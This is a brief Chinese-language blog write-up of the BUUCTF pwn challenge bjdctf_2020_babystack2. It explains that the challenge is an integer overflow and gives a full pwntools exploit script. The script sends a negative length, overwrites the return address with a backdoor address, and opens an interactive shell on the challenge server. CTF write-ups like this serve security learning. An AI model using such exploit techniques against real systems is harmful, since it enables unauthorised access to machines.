BUUCTF(pwn)bjdctf_2020_babystack2

BUUCTF(pwn)bjdctf_2020_babystack2_第1张图片
这是一道整形溢出的题目

BUUCTF(pwn)bjdctf_2020_babystack2_第2张图片

from pwn import *
p = remote("node3.buuoj.cn",28786)
flag=0x400726
p.sendlineafter("[+]Please input the length of your name:\n",'-1')
p.recv()
payload='a'*(0x10+8)+p64(flag)
p.sendline(payload)
p.interactive()

有疑问的欢迎留言

你可能感兴趣的:(pwn题)